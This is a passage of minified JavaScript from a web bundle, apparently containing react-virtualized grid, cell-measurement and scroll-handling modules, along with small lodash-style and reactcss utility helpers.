e=this.props,t=e.autoContainerWidth,n=e.autoHeight,r=e.autoWidth,o=e.className,i=e.containerProps,a=e.containerRole,s=e.containerStyle,u=e.height,c=e.id,f=e.noContentRenderer,d=e.role,p=e.style,h=e.tabIndex,v=e.width,y=this.state,b=y.instanceProps,w=y.needToResetStyleCache,E=this._isScrolling(),S={boxSizing:"border-box",direction:"ltr",height:n?"auto":u,position:"relative",width:r?"auto":v,WebkitOverflowScrolling:"touch",willChange:"transform"};w&&(this._styleCache={}),this.state.isScrolling||this._resetStyleCache(),this._calculateChildrenToRender(this.props,this.state);var C=b.columnSizeAndPositionManager.getTotalSize(),x=b.rowSizeAndPositionManager.getTotalSize(),O=x>u?b.scrollbarSize:0,A=C>v?b.scrollbarSize:0;A===this._horizontalScrollBarSize&&O===this._verticalScrollBarSize||(this._horizontalScrollBarSize=A,this._verticalScrollBarSize=O,this._scrollbarPresenceChanged=!0),S.overflowX=C+O<=v?"hidden":"auto",S.overflowY=x+A<=u?"hidden":"auto";var T=this._childrenToDisplay,k=0===T.length&&u>0&&v>0;return m.createElement("div",(0,l.default)({ref:this._setScrollingContainerRef},i,{"aria-label":this.props["aria-label"],"aria-readonly":this.props["aria-readonly"],className:(0,g.default)("ReactVirtualized__Grid",o),id:c,onScroll:this._onScroll,role:d,style:_({},S,{},p),tabIndex:h}),T.length>0&&m.createElement("div",{className:"ReactVirtualized__Grid__innerScrollContainer",role:a,style:_({width:t?"auto":C,height:x,maxWidth:C,maxHeight:x,overflow:"hidden",pointerEvents:E?"none":"",position:"relative"},s)},T),k&&f())}},{key:"_calculateChildrenToRender",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.props,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.state,n=e.cellRenderer,r=e.cellRangeRenderer,o=e.columnCount,i=e.deferredMeasurementCache,a=e.height,l=e.overscanColumnCount,s=e.overscanIndicesGetter,u=e.overscanRowCount,c=e.rowCount,f=e.width,d=e.isScrollingOptOut,p=t.scrollDirectionHorizontal,h=t.scrollDirectionVertical,m=t.instanceProps,g=this._initialScrollTop>0?this._initialScrollTop:t.scrollTop,v=this._initialScrollLeft>0?this._initialScrollLeft:t.scrollLeft,y=this._isScrolling(e,t);if(this._childrenToDisplay=[],a>0&&f>0){var b=m.columnSizeAndPositionManager.getVisibleCellRange({containerSize:f,offset:v}),w=m.rowSizeAndPositionManager.getVisibleCellRange({containerSize:a,offset:g}),E=m.columnSizeAndPositionManager.getOffsetAdjustment({containerSize:f,offset:v}),S=m.rowSizeAndPositionManager.getOffsetAdjustment({containerSize:a,offset:g});this._renderedColumnStartIndex=b.start,this._renderedColumnStopIndex=b.stop,this._renderedRowStartIndex=w.start,this._renderedRowStopIndex=w.stop;var C=s({direction:"horizontal",cellCount:o,overscanCellsCount:l,scrollDirection:p,startIndex:"number"==typeof b.start?b.start:0,stopIndex:"number"==typeof b.stop?b.stop:-1}),x=s({direction:"vertical",cellCount:c,overscanCellsCount:u,scrollDirection:h,startIndex:"number"==typeof w.start?w.start:0,stopIndex:"number"==typeof w.stop?w.stop:-1}),O=C.overscanStartIndex,A=C.overscanStopIndex,_=x.overscanStartIndex,T=x.overscanStopIndex;if(i){if(!i.hasFixedHeight())for(var k=_;k<=T;k++)if(!i.has(k,0)){O=0,A=o-1;break}if(!i.hasFixedWidth())for(var P=O;P<=A;P++)if(!i.has(0,P)){_=0,T=c-1;break}}this._childrenToDisplay=r({cellCache:this._cellCache,cellRenderer:n,columnSizeAndPositionManager:m.columnSizeAndPositionManager,columnStartIndex:O,columnStopIndex:A,deferredMeasurementCache:i,horizontalOffsetAdjustment:E,isScrolling:y,isScrollingOptOut:d,parent:this,rowSizeAndPositionManager:m.rowSizeAndPositionManager,rowStartIndex:_,rowStopIndex:T,scrollLeft:v,scrollTop:g,styleCache:this._styleCache,verticalOffsetAdjustment:S,visibleColumnIndices:b,visibleRowIndices:w}),this._columnStartIndex=O,this._columnStopIndex=A,this._rowStartIndex=_,this._rowStopIndex=T}}},{key:"_debounceScrollEnded",value:function(){var e=this.props.scrollingResetTimeInterval;this._disablePointerEventsTimeoutId&&(0,O.cancelAnimationTimeout)(this._disablePointerEventsTimeoutId),this._disablePointerEventsTimeoutId=(0,O.requestAnimationTimeout)(this._debounceScrollEndedCallback,e)}},{key:"_handleInvalidatedGridSize",value:function(){if("number"==typeof this._deferredInvalidateColumnIndex&&"number"==typeof this._deferredInvalidateRowIndex){var e=this._deferredInvalidateColumnIndex,t=this._deferredInvalidateRowIndex;this._deferredInvalidateColumnIndex=null,this._deferredInvalidateRowIndex=null,this.recomputeGridSize({columnIndex:e,rowIndex:t})}}},{key:"_invokeOnScrollMemoizer",value:function(e){var t=this,n=e.scrollLeft,r=e.scrollTop,o=e.totalColumnsWidth,i=e.totalRowsHeight;this._onScrollMemoizer({callback:function(e){var n=e.scrollLeft,r=e.scrollTop,a=t.props,l=a.height;(0,a.onScroll)({clientHeight:l,clientWidth:a.width,scrollHeight:i,scrollLeft:n,scrollTop:r,scrollWidth:o})},indices:{scrollLeft:n,scrollTop:r}})}},{key:"_isScrolling",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.props,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.state;return Object.hasOwnProperty.call(e,"isScrolling")?Boolean(e.isScrolling):Boolean(t.isScrolling)}},{key:"_maybeCallOnScrollbarPresenceChange",value:function(){if(this._scrollbarPresenceChanged){var e=this.props.onScrollbarPresenceChange;this._scrollbarPresenceChanged=!1,e({horizontal:this._horizontalScrollBarSize>0,size:this.state.instanceProps.scrollbarSize,vertical:this._verticalScrollBarSize>0})}}},{key:"scrollToPosition",value:function(e){var n=e.scrollLeft,r=e.scrollTop,o=t._getScrollToPositionStateUpdate({prevState:this.state,scrollLeft:n,scrollTop:r});o&&(o.needToResetStyleCache=!1,this.setState(o))}},{key:"_getCalculatedScrollLeft",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.props,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.state;return t._getCalculatedScrollLeft(e,n)}},{key:"_updateScrollLeftForScrollToColumn",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.props,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.state,r=t._getScrollLeftForScrollToColumnStateUpdate(e,n);r&&(r.needToResetStyleCache=!1,this.setState(r))}},{key:"_getCalculatedScrollTop",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.props,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.state;return t._getCalculatedScrollTop(e,n)}},{key:"_resetStyleCache",value:function(){var e=this._styleCache,t=this._cellCache,n=this.props.isScrollingOptOut;this._cellCache={},this._styleCache={};for(var r=this._rowStartIndex;r<=this._rowStopIndex;r++)for(var o=this._columnStartIndex;o<=this._columnStopIndex;o++){var i="".concat(r,"-").concat(o);this._styleCache[i]=e[i],n&&(this._cellCache[i]=t[i])}}},{key:"_updateScrollTopForScrollToRow",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.props,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.state,r=t._getScrollTopForScrollToRowStateUpdate(e,n);r&&(r.needToResetStyleCache=!1,this.setState(r))}}],[{key:"getDerivedStateFromProps",value:function(e,n){var r={};0===e.columnCount&&0!==n.scrollLeft||0===e.rowCount&&0!==n.scrollTop?(r.scrollLeft=0,r.scrollTop=0):(e.scrollLeft!==n.scrollLeft&&e.scrollToColumn<0||e.scrollTop!==n.scrollTop&&e.scrollToRow<0)&&Object.assign(r,t._getScrollToPositionStateUpdate({prevState:n,scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}));var o,i,a=n.instanceProps;return r.needToResetStyleCache=!1,e.columnWidth===a.prevColumnWidth&&e.rowHeight===a.prevRowHeight||(r.needToResetStyleCache=!0),a.columnSizeAndPositionManager.configure({cellCount:e.columnCount,estimatedCellSize:t._getEstimatedColumnSize(e),cellSizeGetter:t._wrapSizeGetter(e.columnWidth)}),a.rowSizeAndPositionManager.configure({cellCount:e.rowCount,estimatedCellSize:t._getEstimatedRowSize(e),cellSizeGetter:t._wrapSizeGetter(e.rowHeight)}),0!==a.prevColumnCount&&0!==a.prevRowCount||(a.prevColumnCount=0,a.prevRowCount=0),e.autoHeight&&!1===e.isScrolling&&!0===a.prevIsScrolling&&Object.assign(r,{isScrolling:!1}),(0,v.default)({cellCount:a.prevColumnCount,cellSize:"number"==typeof a.prevColumnWidth?a.prevColumnWidth:null,computeMetadataCallback:function(){return a.columnSizeAndPositionManager.resetCell(0)},computeMetadataCallbackProps:e,nextCellsCount:e.columnCount,nextCellSize:"number"==typeof e.columnWidth?e.columnWidth:null,nextScrollToIndex:e.scrollToColumn,scrollToIndex:a.prevScrollToColumn,updateScrollOffsetForScrollToIndex:function(){o=t._getScrollLeftForScrollToColumnStateUpdate(e,n)}}),(0,v.default)({cellCount:a.prevRowCount,cellSize:"number"==typeof a.prevRowHeight?a.prevRowHeight:null,computeMetadataCallback:function(){return a.rowSizeAndPositionManager.resetCell(0)},computeMetadataCallbackProps:e,nextCellsCount:e.rowCount,nextCellSize:"number"==typeof e.rowHeight?e.rowHeight:null,nextScrollToIndex:e.scrollToRow,scrollToIndex:a.prevScrollToRow,updateScrollOffsetForScrollToIndex:function(){i=t._getScrollTopForScrollToRowStateUpdate(e,n)}}),a.prevColumnCount=e.columnCount,a.prevColumnWidth=e.columnWidth,a.prevIsScrolling=!0===e.isScrolling,a.prevRowCount=e.rowCount,a.prevRowHeight=e.rowHeight,a.prevScrollToColumn=e.scrollToColumn,a.prevScrollToRow=e.scrollToRow,a.scrollbarSize=e.getScrollbarSize(),void 0===a.scrollbarSize?(a.scrollbarSizeMeasured=!1,a.scrollbarSize=0):a.scrollbarSizeMeasured=!0,r.instanceProps=a,_({},r,{},o,{},i)}},{key:"_getEstimatedColumnSize",value:function(e){return"number"==typeof e.columnWidth?e.columnWidth:e.estimatedColumnSize}},{key:"_getEstimatedRowSize",value:function(e){return"number"==typeof e.rowHeight?e.rowHeight:e.estimatedRowSize}},{key:"_getScrollToPositionStateUpdate",value:function(e){var t=e.prevState,n=e.scrollLeft,r=e.scrollTop,o={scrollPositionChangeReason:k};return"number"==typeof n&&n>=0&&(o.scrollDirectionHorizontal=n>t.scrollLeft?w.SCROLL_DIRECTION_FORWARD:w.SCROLL_DIRECTION_BACKWARD,o.scrollLeft=n),"number"==typeof r&&r>=0&&(o.scrollDirectionVertical=r>t.scrollTop?w.SCROLL_DIRECTION_FORWARD:w.SCROLL_DIRECTION_BACKWARD,o.scrollTop=r),"number"==typeof n&&n>=0&&n!==t.scrollLeft||"number"==typeof r&&r>=0&&r!==t.scrollTop?o:{}}},{key:"_wrapSizeGetter",value:function(e){return"function"==typeof e?e:function(){return e}}},{key:"_getCalculatedScrollLeft",value:function(e,t){var n=e.columnCount,r=e.height,o=e.scrollToAlignment,i=e.scrollToColumn,a=e.width,l=t.scrollLeft,s=t.instanceProps;if(n>0){var u=n-1,c=i<0?u:Math.min(u,i),f=s.rowSizeAndPositionManager.getTotalSize(),d=s.scrollbarSizeMeasured&&f>r?s.scrollbarSize:0;return s.columnSizeAndPositionManager.getUpdatedOffsetForIndex({align:o,containerSize:a-d,currentOffset:l,targetIndex:c})}return 0}},{key:"_getScrollLeftForScrollToColumnStateUpdate",value:function(e,n){var r=n.scrollLeft,o=t._getCalculatedScrollLeft(e,n);return"number"==typeof o&&o>=0&&r!==o?t._getScrollToPositionStateUpdate({prevState:n,scrollLeft:o,scrollTop:-1}):{}}},{key:"_getCalculatedScrollTop",value:function(e,t){var n=e.height,r=e.rowCount,o=e.scrollToAlignment,i=e.scrollToRow,a=e.width,l=t.scrollTop,s=t.instanceProps;if(r>0){var u=r-1,c=i<0?u:Math.min(u,i),f=s.columnSizeAndPositionManager.getTotalSize(),d=s.scrollbarSizeMeasured&&f>a?s.scrollbarSize:0;return s.rowSizeAndPositionManager.getUpdatedOffsetForIndex({align:o,containerSize:n-d,currentOffset:l,targetIndex:c})}return 0}},{key:"_getScrollTopForScrollToRowStateUpdate",value:function(e,n){var r=n.scrollTop,o=t._getCalculatedScrollTop(e,n);return"number"==typeof o&&o>=0&&r!==o?t._getScrollToPositionStateUpdate({prevState:n,scrollLeft:-1,scrollTop:o}):{}}}]),t}(m.PureComponent),(0,h.default)(i,"propTypes",null),a);(0,h.default)(P,"defaultProps",{"aria-label":"grid","aria-readonly":!0,autoContainerWidth:!1,autoHeight:!1,autoWidth:!1,cellRangeRenderer:S.default,containerRole:"rowgroup",containerStyle:{},estimatedColumnSize:100,estimatedRowSize:30,getScrollbarSize:C.default,noContentRenderer:function(){return null},onScroll:function(){},onScrollbarPresenceChange:function(){},onSectionRendered:function(){},overscanColumnCount:0,overscanIndicesGetter:w.default,overscanRowCount:10,role:"grid",scrollingResetTimeInterval:150,scrollToAlignment:"auto",scrollToColumn:-1,scrollToRow:-1,style:{},tabIndex:0,isScrollingOptOut:!1}),(0,x.polyfill)(P);var M=P;t.default=M},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){var t=e.cellCount,n=e.cellSize,r=e.computeMetadataCallback,o=e.computeMetadataCallbackProps,i=e.nextCellsCount,a=e.nextCellSize,l=e.nextScrollToIndex,s=e.scrollToIndex,u=e.updateScrollOffsetForScrollToIndex;t===i&&("number"!=typeof n&&"number"!=typeof a||n===a)||(r(o),s>=0&&s===l&&u())}},function(e,t,n){"use strict";var r=n(44);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=r(n(12)),i=r(n(13)),a=r(n(3)),l=(n(78),function(){function e(t){var n=t.cellCount,r=t.cellSizeGetter,i=t.estimatedCellSize;(0,o.default)(this,e),(0,a.default)(this,"_cellSizeAndPositionData",{}),(0,a.default)(this,"_lastMeasuredIndex",-1),(0,a.default)(this,"_lastBatchedIndex",-1),(0,a.default)(this,"_cellCount",void 0),(0,a.default)(this,"_cellSizeGetter",void 0),(0,a.default)(this,"_estimatedCellSize",void 0),this._cellSizeGetter=r,this._cellCount=n,this._estimatedCellSize=i}return(0,i.default)(e,[{key:"areOffsetsAdjusted",value:function(){return!1}},{key:"configure",value:function(e){var t=e.cellCount,n=e.estimatedCellSize,r=e.cellSizeGetter;this._cellCount=t,this._estimatedCellSize=n,this._cellSizeGetter=r}},{key:"getCellCount",value:function(){return this._cellCount}},{key:"getEstimatedCellSize",value:function(){return this._estimatedCellSize}},{key:"getLastMeasuredIndex",value:function(){return this._lastMeasuredIndex}},{key:"getOffsetAdjustment",value:function(){return 0}},{key:"getSizeAndPositionOfCell",value:function(e){if(e<0||e>=this._cellCount)throw Error("Requested index ".concat(e," is outside of range 0..").concat(this._cellCount));if(e>this._lastMeasuredIndex)for(var t=this.getSizeAndPositionOfLastMeasuredCell(),n=t.offset+t.size,r=this._lastMeasuredIndex+1;r<=e;r++){var o=this._cellSizeGetter({index:r});if(void 0===o||isNaN(o))throw Error("Invalid size returned for cell ".concat(r," of value ").concat(o));null===o?(this._cellSizeAndPositionData[r]={offset:n,size:0},this._lastBatchedIndex=e):(this._cellSizeAndPositionData[r]={offset:n,size:o},n+=o,this._lastMeasuredIndex=e)}return this._cellSizeAndPositionData[e]}},{key:"getSizeAndPositionOfLastMeasuredCell",value:function(){return this._lastMeasuredIndex>=0?this._cellSizeAndPositionData[this._lastMeasuredIndex]:{offset:0,size:0}}},{key:"getTotalSize",value:function(){var e=this.getSizeAndPositionOfLastMeasuredCell();return e.offset+e.size+(this._cellCount-this._lastMeasuredIndex-1)*this._estimatedCellSize}},{key:"getUpdatedOffsetForIndex",value:function(e){var t=e.align,n=void 0===t?"auto":t,r=e.containerSize,o=e.currentOffset,i=e.targetIndex;if(r<=0)return 0;var a,l=this.getSizeAndPositionOfCell(i),s=l.offset,u=s-r+l.size;switch(n){case"start":a=s;break;case"end":a=u;break;case"center":a=s-(r-l.size)/2;break;default:a=Math.max(u,Math.min(s,o))}var c=this.getTotalSize();return Math.max(0,Math.min(c-r,a))}},{key:"getVisibleCellRange",value:function(e){var t=e.containerSize,n=e.offset;if(0===this.getTotalSize())return{};var r=n+t,o=this._findNearestCell(n),i=this.getSizeAndPositionOfCell(o);n=i.offset+i.size;for(var a=o;n<r&&a<this._cellCount-1;)a++,n+=this.getSizeAndPositionOfCell(a).size;return{start:o,stop:a}}},{key:"resetCell",value:function(e){this._lastMeasuredIndex=Math.min(this._lastMeasuredIndex,e-1)}},{key:"_binarySearch",value:function(e,t,n){for(;t<=e;){var r=t+Math.floor((e-t)/2),o=this.getSizeAndPositionOfCell(r).offset;if(o===n)return r;o<n?t=r+1:o>n&&(e=r-1)}return t>0?t-1:0}},{key:"_exponentialSearch",value:function(e,t){for(var n=1;e<this._cellCount&&this.getSizeAndPositionOfCell(e).offset<t;)e+=n,n*=2;return this._binarySearch(Math.min(e,this._cellCount-1),Math.floor(e/2),t)}},{key:"_findNearestCell",value:function(e){if(isNaN(e))throw Error("Invalid offset ".concat(e," specified"));e=Math.max(0,e);var t=this.getSizeAndPositionOfLastMeasuredCell(),n=Math.max(0,this._lastMeasuredIndex);return t.offset>=e?this._binarySearch(n,0,e):this._exponentialSearch(n,e)}}]),e}());t.default=l},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getMaxElementSize=void 0;t.getMaxElementSize=function(){return"undefined"!=typeof window&&window.chrome?16777100:15e5}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0],t={};return function(n){var r=n.callback,o=n.indices,i=Object.keys(o),a=!e||i.every((function(e){var t=o[e];return Array.isArray(t)?t.length>0:t>=0})),l=i.length!==Object.keys(t).length||i.some((function(e){var n=t[e],r=o[e];return Array.isArray(r)?n.join(",")!==r.join(","):n!==r}));t=o,a&&l&&r(o)}}},function(e,t,n){"use strict";var r=n(44);Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){var t=e.cellSize,n=e.cellSizeAndPositionManager,r=e.previousCellsCount,o=e.previousCellSize,i=e.previousScrollToAlignment,a=e.previousScrollToIndex,l=e.previousSize,s=e.scrollOffset,u=e.scrollToAlignment,c=e.scrollToIndex,f=e.size,d=e.sizeJustIncreasedFromZero,p=e.updateScrollIndexCallback,h=n.getCellCount(),m=c>=0&&c<h,g=f!==l||d||!o||"number"==typeof t&&t!==o;m&&(g||u!==i||c!==a)?p(c):!m&&h>0&&(f<l||h<r)&&s>n.getTotalSize()-f&&p(h-1)};r(n(197)),n(78)},function(e,t,n){"use strict";var r=n(44);Object.defineProperty(t,"__esModule",{value:!0}),t.bpfrpt_proptype_AnimationTimeoutId=t.requestAnimationTimeout=t.cancelAnimationTimeout=void 0;var o=n(1056);r(n(1));t.bpfrpt_proptype_AnimationTimeoutId=null;t.cancelAnimationTimeout=function(e){return(0,o.caf)(e.id)};t.requestAnimationTimeout=function(e,t){var n;Promise.resolve().then((function(){n=Date.now()}));var r={id:(0,o.raf)((function i(){Date.now()-n>=t?e.call():r.id=(0,o.raf)(i)}))};return r}},function(e,t,n){"use strict";var r;Object.defineProperty(t,"__esModule",{value:!0}),t.caf=t.raf=void 0;var o=(r="undefined"!=typeof window?window:"undefined"!=typeof self?self:{}).requestAnimationFrame||r.webkitRequestAnimationFrame||r.mozRequestAnimationFrame||r.oRequestAnimationFrame||r.msRequestAnimationFrame||function(e){return r.setTimeout(e,1e3/60)},i=r.cancelAnimationFrame||r.webkitCancelAnimationFrame||r.mozCancelAnimationFrame||r.oCancelAnimationFrame||r.msCancelAnimationFrame||function(e){r.clearTimeout(e)},a=o;t.raf=a;var l=i;t.caf=l},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){var t=e.cellCount,n=e.overscanCellsCount,r=e.scrollDirection,o=e.startIndex,i=e.stopIndex;return n=Math.max(1,n),1===r?{overscanStartIndex:Math.max(0,o-1),overscanStopIndex:Math.min(t-1,i+n)}:{overscanStartIndex:Math.max(0,o-n),overscanStopIndex:Math.min(t-1,i+1)}},t.SCROLL_DIRECTION_VERTICAL=t.SCROLL_DIRECTION_HORIZONTAL=t.SCROLL_DIRECTION_FORWARD=t.SCROLL_DIRECTION_BACKWARD=void 0;n(78);t.SCROLL_DIRECTION_BACKWARD=-1;t.SCROLL_DIRECTION_FORWARD=1;t.SCROLL_DIRECTION_HORIZONTAL="horizontal";t.SCROLL_DIRECTION_VERTICAL="vertical"},function(e,t,n){"use strict";var r=n(44),o=n(119);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var i,a,l=r(n(12)),s=r(n(13)),u=r(n(17)),c=r(n(18)),f=r(n(5)),d=r(n(19)),p=r(n(3)),h=o(n(0)),m=n(16),g=(n(293),r(n(1)),a=i=function(e){function t(){var e,n;(0,l.default)(this,t);for(var r=arguments.length,o=new Array(r),i=0;i<r;i++)o[i]=arguments[i];return n=(0,u.default)(this,(e=(0,c.default)(t)).call.apply(e,[this].concat(o))),(0,p.default)((0,f.default)(n),"_child",void 0),(0,p.default)((0,f.default)(n),"_measure",(function(){var e=n.props,t=e.cache,r=e.columnIndex,o=void 0===r?0:r,i=e.parent,a=e.rowIndex,l=void 0===a?n.props.index||0:a,s=n._getCellMeasurements(),u=s.height,c=s.width;u===t.getHeight(l,o)&&c===t.getWidth(l,o)||(t.set(l,o,c,u),i&&"function"==typeof i.recomputeGridSize&&i.recomputeGridSize({columnIndex:o,rowIndex:l}))})),(0,p.default)((0,f.default)(n),"_registerChild",(function(e){!e||e instanceof Element||console.warn("CellMeasurer registerChild expects to be passed Element or null"),n._child=e,e&&n._maybeMeasureCell()})),n}return(0,d.default)(t,e),(0,s.default)(t,[{key:"componentDidMount",value:function(){this._maybeMeasureCell()}},{key:"componentDidUpdate",value:function(){this._maybeMeasureCell()}},{key:"render",value:function(){var e=this.props.children;return"function"==typeof e?e({measure:this._measure,registerChild:this._registerChild}):e}},{key:"_getCellMeasurements",value:function(){var e=this.props.cache,t=this._child||(0,m.findDOMNode)(this);if(t&&t.ownerDocument&&t.ownerDocument.defaultView&&t instanceof t.ownerDocument.defaultView.HTMLElement){var n=t.style.width,r=t.style.height;e.hasFixedWidth()||(t.style.width="auto"),e.hasFixedHeight()||(t.style.height="auto");var o=Math.ceil(t.offsetHeight),i=Math.ceil(t.offsetWidth);return n&&(t.style.width=n),r&&(t.style.height=r),{height:o,width:i}}return{height:0,width:0}}},{key:"_maybeMeasureCell",value:function(){var e=this.props,t=e.cache,n=e.columnIndex,r=void 0===n?0:n,o=e.parent,i=e.rowIndex,a=void 0===i?this.props.index||0:i;if(!t.has(a,r)){var l=this._getCellMeasurements(),s=l.height,u=l.width;t.set(a,r,u,s),o&&"function"==typeof o.invalidateCellSizeAfterRender&&o.invalidateCellSizeAfterRender({columnIndex:r,rowIndex:a})}}}]),t}(h.PureComponent),(0,p.default)(i,"propTypes",null),a);t.default=g,(0,p.default)(g,"__internalCellMeasurerFlag",!1)},function(e,t,n){"use strict";var r=n(44);Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.DEFAULT_WIDTH=t.DEFAULT_HEIGHT=void 0;var o=r(n(12)),i=r(n(13)),a=r(n(3));n(293);t.DEFAULT_HEIGHT=30;t.DEFAULT_WIDTH=100;var l=function(){function e(){var t=this,n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};(0,o.default)(this,e),(0,a.default)(this,"_cellHeightCache",{}),(0,a.default)(this,"_cellWidthCache",{}),(0,a.default)(this,"_columnWidthCache",{}),(0,a.default)(this,"_rowHeightCache",{}),(0,a.default)(this,"_defaultHeight",void 0),(0,a.default)(this,"_defaultWidth",void 0),(0,a.default)(this,"_minHeight",void 0),(0,a.default)(this,"_minWidth",void 0),(0,a.default)(this,"_keyMapper",void 0),(0,a.default)(this,"_hasFixedHeight",void 0),(0,a.default)(this,"_hasFixedWidth",void 0),(0,a.default)(this,"_columnCount",0),(0,a.default)(this,"_rowCount",0),(0,a.default)(this,"columnWidth",(function(e){var n=e.index,r=t._keyMapper(0,n);return void 0!==t._columnWidthCache[r]?t._columnWidthCache[r]:t._defaultWidth})),(0,a.default)(this,"rowHeight",(function(e){var n=e.index,r=t._keyMapper(n,0);return void 0!==t._rowHeightCache[r]?t._rowHeightCache[r]:t._defaultHeight}));var r=n.defaultHeight,i=n.defaultWidth,l=n.fixedHeight,u=n.fixedWidth,c=n.keyMapper,f=n.minHeight,d=n.minWidth;this._hasFixedHeight=!0===l,this._hasFixedWidth=!0===u,this._minHeight=f||0,this._minWidth=d||0,this._keyMapper=c||s,this._defaultHeight=Math.max(this._minHeight,"number"==typeof r?r:30),this._defaultWidth=Math.max(this._minWidth,"number"==typeof i?i:100)}return(0,i.default)(e,[{key:"clear",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=this._keyMapper(e,t);delete this._cellHeightCache[n],delete this._cellWidthCache[n],this._updateCachedColumnAndRowSizes(e,t)}},{key:"clearAll",value:function(){this._cellHeightCache={},this._cellWidthCache={},this._columnWidthCache={},this._rowHeightCache={},this._rowCount=0,this._columnCount=0}},{key:"hasFixedHeight",value:function(){return this._hasFixedHeight}},{key:"hasFixedWidth",value:function(){return this._hasFixedWidth}},{key:"getHeight",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;if(this._hasFixedHeight)return this._defaultHeight;var n=this._keyMapper(e,t);return void 0!==this._cellHeightCache[n]?Math.max(this._minHeight,this._cellHeightCache[n]):this._defaultHeight}},{key:"getWidth",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;if(this._hasFixedWidth)return this._defaultWidth;var n=this._keyMapper(e,t);return void 0!==this._cellWidthCache[n]?Math.max(this._minWidth,this._cellWidthCache[n]):this._defaultWidth}},{key:"has",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=this._keyMapper(e,t);return void 0!==this._cellHeightCache[n]}},{key:"set",value:function(e,t,n,r){var o=this._keyMapper(e,t);t>=this._columnCount&&(this._columnCount=t+1),e>=this._rowCount&&(this._rowCount=e+1),this._cellHeightCache[o]=r,this._cellWidthCache[o]=n,this._updateCachedColumnAndRowSizes(e,t)}},{key:"_updateCachedColumnAndRowSizes",value:function(e,t){if(!this._hasFixedWidth){for(var n=0,r=0;r<this._rowCount;r++)n=Math.max(n,this.getWidth(r,t));var o=this._keyMapper(0,t);this._columnWidthCache[o]=n}if(!this._hasFixedHeight){for(var i=0,a=0;a<this._columnCount;a++)i=Math.max(i,this.getHeight(e,a));var l=this._keyMapper(e,0);this._rowHeightCache[l]=i}}},{key:"defaultHeight",get:function(){return this._defaultHeight}},{key:"defaultWidth",get:function(){return this._defaultWidth}}]),e}();function s(e,t){return"".concat(e,"-").concat(t)}t.default=l},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){var r=n(280);e.exports=function(e,t){e.prototype=Object.create(t.prototype),e.prototype.constructor=e,r(e,t)},e.exports.__esModule=!0,e.exports.default=e.exports},function(e,t){e.exports=function(e,t){return t||(t=e.slice(0)),Object.freeze(Object.defineProperties(e,{raw:{value:Object.freeze(t)}}))},e.exports.__esModule=!0,e.exports.default=e.exports},function(e,t,n){},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.flattenNames=void 0;var r=l(n(209)),o=l(n(198)),i=l(n(1107)),a=l(n(1108));function l(e){return e&&e.__esModule?e:{default:e}}var s=t.flattenNames=function e(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],n=[];return(0,a.default)(t,(function(t){Array.isArray(t)?e(t).map((function(e){return n.push(e)})):(0,i.default)(t)?(0,o.default)(t,(function(e,t){!0===e&&n.push(t),n.push(t+"-"+e)})):(0,r.default)(t)&&n.push(t)})),n};t.default=s},function(e,t,n){var r=n(1104),o=n(199);e.exports=function(e,t){return e&&r(e,t,o)}},function(e,t,n){var r=n(1105)();e.exports=r},function(e,t){e.exports=function(e){return function(t,n,r){for(var o=-1,i=Object(t),a=r(t),l=a.length;l--;){var s=a[e?l:++o];if(!1===n(i[s],s,i))break}return t}}},function(e,t){e.exports=function(e){return e}},function(e,t,n){var r=n(288),o=n(296),i=n(195),a=Function.prototype,l=Object.prototype,s=a.toString,u=l.hasOwnProperty,c=s.call(Object);e.exports=function(e){if(!i(e)||"[object Object]"!=r(e))return!1;var t=o(e);if(null===t)return!0;var n=u.call(t,"constructor")&&t.constructor;return"function"==typeof n&&n instanceof n&&s.call(n)==c}},function(e,t){e.exports=function(e,t){for(var n=-1,r=null==e?0:e.length,o=Array(r);++n<r;)o[n]=t(e[n],n,e);return o}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.mergeClasses=void 0;var r=a(n(198)),o=a(n(1110)),i=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e};function 